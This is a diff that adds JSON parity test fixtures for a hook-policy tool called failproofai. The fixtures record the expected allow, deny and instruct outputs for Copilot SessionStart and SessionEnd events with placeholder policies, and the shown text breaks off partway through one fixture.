b/__tests__/parity/fixtures/copilot/SessionEnd/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..0243efd4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SessionEnd/deny__tool-present__one-policy.json new file mode 100644 index 00000000..feb40e16 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SessionEnd/deny__tool-present__two-policies.json new file mode 100644 index 00000000..6af41e37 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SessionEnd/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b79b7a85 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SessionEnd/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..7834395b --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SessionEnd/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..1c683346 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SessionEnd/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..51279a2e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SessionStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..d19b226e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SessionStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..490c09f7 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SessionStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6452126a --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SessionStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..86f3d35f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SessionStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c28a7849 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SessionStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3553abfe --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SessionStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..88c35b02 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SessionStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..7f08b680 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SessionStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ae3a0580 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SessionStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..c7239eac --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SessionStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..8d7296bd --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SessionStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..bc9d6a05 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SessionStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ee947b23 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": 